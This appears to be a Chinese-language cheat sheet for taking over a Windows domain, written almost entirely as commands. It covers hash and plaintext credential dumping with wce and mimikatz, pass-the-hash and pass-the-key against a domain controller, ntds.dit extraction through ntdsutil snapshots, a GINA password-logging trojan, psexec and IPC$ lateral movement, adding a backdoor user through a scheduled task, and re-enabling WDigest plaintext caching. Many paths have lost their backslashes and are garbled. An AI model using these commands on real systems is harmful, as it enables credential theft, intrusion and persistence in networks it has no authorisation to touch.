1、抓取域 hash 密码
vsssown.vbs、vshadow.exe、ntdsdump.exe、 mimikatz 等
2、hash 注入
wce 直接获取到域登录的 hash 值:
wce.exe >hash.txt
wce.exe -l // 列出登录的会话和NTLM凭据(默认值)
wce.exe -w // 读取lsa明文密码
wce的使用说明如下:
-l 列出登录的会话和NTLM凭据(默认值)
-s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
-r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次
-c 用一个特殊的NTML凭据运行一个新的会话 参数:<cmd>
-e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次
-o 保存所有的输出到一个文件 参数:<文件名>
-i 指定一个LUID代替使用当前登录会话 参数:<luid>
-d 从登录会话中删除NTLM凭据 参数:<luid>
-a 使用地址 参数: <地址>
-f 强制使用安全模式
-g 生成LM和NT的哈希 参数<密码>
-K 缓存kerberos票据到一个文件(unix和windows wce格式)
-k 从一个文件中读取kerberos票据并插入到windows缓存中
-w 通过摘要式认证缓存一个明文的密码
-v 详细输出
在上面的使用说明中可以看到,-s参数可以用来hash注入。
hash注入的原理是将我们预备好的目标机器的本地或者是域用户hash注入到本地的认证进lsass.exe中去,使得本地在使用ipc登录目标机器的时候就如同自己登录自己的机器一样获得权限。hash注入本身是为了对付那些破解不了的NTHASH。
wce.exe -s 域hash值 // wce 建立域管理登录过的回话
net use \192.168.88.130c$ //建立ipc$(其中192.168.88.130为目标域控的ip)
dir \192.168.88.130c$
3、读取 lsa 明文密码 (wce.exe -w ,mimikatz)
mimikatz
privilege::debug 提升权限
sekurlsa::logonpasswords 抓取密码
4、0day 溢出(smb(445)、rdp(3389)、dns(53)、rpc 等)
5、安装 gina 记录管理员帐号密码
在系统中可以通过gina木马记录管理员登陆的密码,或是利用键盘记录记录管理员在终端桌面的输入情况,也可能抓取到密码.
适用系统:Windows 2000/2003,管理员权限
WinlogonHack
一。执行install.bat 安装。
不用重启, 当有3389登上时,自动加载DLL,并且记录登录密码! 保存为boot.dat文件.
二。运行ReadLog.bat 移动密码文件到当前目录。
三。执行Uninstall.bat,若 %systemroot%system32wminotify.dll 文件未能删除,那就重启再删了吧
拿到域管理员用户名和密码后期操作:
1.建立映射
net use \192.168.88.130c$ admin@123 /user:payloadadministrator \ 远程建立映射
net use \192.168.88.130c$ /del // 断开已有的ipc$ 连接
2.得到目标交互式的 cmdshell:
psexec \192.168.1.104
注意:
psexec 在少数情况下会出现服务没删除成功的 bug,所以一般来讲不太推荐在渗透时使用
psexec \192.168.88.130 -u administrator@payload.com –p admin@123
缺点:
psexec 需要对方开启 ADMIN$共享,而且需要安装服务;另外,psexec 退出时有可能服务删除失败,安装服务会留下明显的日志,而且服务没有删除的风险更大,管理员很容易就会发现
4.确定目标 IP
1、确定目标用户登录日期 (net user admin /domain)
2 、导 出 该 日 期 域 控 制 器 登 录 日 志 (cscript eventquery.vbs /fi “ Datetime eq 08/25/2019,00:00:00AM/08/27/2019,21:20:00PM”/l Security >c:xxx.txt)
eventquery.vbs下载:
3、导出 DHCP 配置(netsh dhcp)
通过日志分析可确定目标 IP,进一步精确打击。
cscript eventquery.vbs /FI “source eq source_name”
For example to list all the events that are created by DHCP you can run the below command.
cscript eventquery.vbs /FI “source eq dhcp”
To list all the events originated from Outlook:
cscript eventquery.vbs /FI “source eq outlook”
To list the events with a specific id.
cscript eventquery.vbs /FI “id eq id_number”
To list application events that have occurred after a specific time
cscript.exe eventquery.vbs /FI “DateTime gt 11/13/2010,01:00:00AM”
To print all warning events from application log file:
cscript eventquery.vbs /L application /FI “type eq warning”
To dump all the error events generated by a particular user:
cscript eventquery.vbs /FI “user eq domainnameusername” /FI “type eq error”
eventquery.vbs适合2003以前的系统:
5.导出域 hash 值
ntdsutil snapshot “activate instance ntds” create quit quit
ntdsutil snapshot “mount {GUID}” quit quit
copy MOUNT_POINTwindowsNTDS
tds.dit c:
tds.dit
ntdsutil snapshot “unmount {GUID}” quit quit
ntdsutil snapshot “delete {GUID}” quit quit
然后用 QuarksPwDump 直接 dump 列表。
QuarksPwDump.exe –dump-hash-domain –ntds-file c:
tds.dit
6.IPC$
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password
2>NUL > output.txt //ip 地址表为域内 IP,用户名和密码为域普通账号和密码,可批量
远程查询进程
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n
was found running a process on %i && pause //批量查询域管理员登录了那些域内主
机
net user use \192.168.1.100 “pwd@123”/user:域名用户名 //域内 IPC$连接
copy 1.bat \192.168.1.2C$ //上传文件
AT 命令建立执行任务执行命令:
net use \192.168.1.5 Passw0rd! /user:admin 建立 ipc 连接
copy add.bat \192.168.1.5c$wmpub 复制 add.bat 到目标 C 盘 wmpub 目录
add.bat 里面的内容是 net userTwi1ight Passw0rd! /add 添加 Twi1ight 用户
net time \192.168.1.5 查看目标当前时间,得到当前时间是 21:50:52
at \192.168.1.5 21:52 c:wmpubadd.bat 告 诉 目 标 在 21:52 的 时 候 运 行
c:wmpubadd.bat
at \192.168.1.5 查看目标的计划任务列表
psexec \192.168.168.x -u administrator –p test123!@# -c gsecdump.exe -u
解决 mimikatz 无法注入明文
1.由于安装了补丁 KB2871997,并且禁用了 Wdigest Auth。
支持的系统有:
Windows 7
Windows 8
Windows 8.1
Windows Server 2008
Windows Server 2012
Windows Server 2012R 2
2.通过注册表启用用 widiget auth:(能注入明文)
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest
新建键值名:UseLogonCredential,类型:REG_DWORD 值:1
批处理文件: widiget.bat
reg add
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProviders
WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
三、pass the key 远程获取hash密码
测试环境:
域控:win server 2008 r2 IP:192.168.88.130
域内主机:win 7 x64 IP:192.168.88.132
已知信息:
Username : administrator
Domain : payload.com
NTLM : 579DA618CFBFA85247ACF1F800A280A4
远程主机 ip:192.168.88.130(DC)
1.使用NTLM hash 远程连接
在域内主机(192.168.88.132)上:以管理员权限运行:
mimikatz :
privilege::debug
sekurlsa::pth /user:administrator /domain:payload.com /ntlm:
579DA618CFBFA85247ACF1F800A280A4
弹出cmd
dir \192.168.88.130c$
注:
虽然”sekurlsa::pth”在 mimikatz 中被称之为”Pass The Hash”,但是其已经超越了以前的”Pass The Hash”,部分人将其命名为”Overpass-the-hash”,也就是”Pass-the-key”
2:使用 aes key 远程连接(未安装补丁 kb2871997)
已知信息:
* Username : Administrator
* Domain : PAYLOAD.COM
* Password : admin@123
* Key List :
aes256_hmac b017618d03ec90dadc70fe72b3e94d2dedc172ac5951463a02eda2e72fdbebc9
aes128_hmac a490f1d5e1dbffbb17e543129b44b4f9
rc4_hmac_nt 579da618cfbfa85247acf1f800a280a4
rc4_hmac_old 579da618cfbfa85247acf1f800a280a4
rc4_md4 579da618cfbfa85247acf1f800a280a4
rc4_hmac_nt_exp 579da618cfbfa85247acf1f800a280a4
rc4_hmac_old_exp 579da618cfbfa85247acf1f800a280a4
注:
获取 aes key 的 mimikatz 命令为:
mimikatz.exe “privilege::debug” “sekurlsa::ekeys” > pssword.txt
在测试主机(win7)上:以管理员权限运行
mimikatz:
privilege::debug
sekurlsa::pth /user:administrator /domain:payload.com /aes256:b017618d03ec90dadc70fe72b3e94d2dedc172ac5951463a02eda2e72fdbebc9
并且弹出了cmd窗口
注:dir 要使用主机名 而不是 ip,不然会提示用户名或密码错误
如果发现无法导入 aes256,说明没有安装补丁 kb2871997
查看 mimikatz 的相关资料发现如下信息:
ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012
kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on
8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm
hash.
根据提示,尝试在系统安装补丁 kb2871997 后继续测试。
换用 aes128 测试:
mimikatz:
privilege::debug
sekurlsa::pth /user:administrator /domain:payload.com /aes128:a490f1d5e1dbffbb17e543129b44b4f9
同样可以远程连接成功。
注:如果不更换密码,aes key 可以一直被用来远程连接。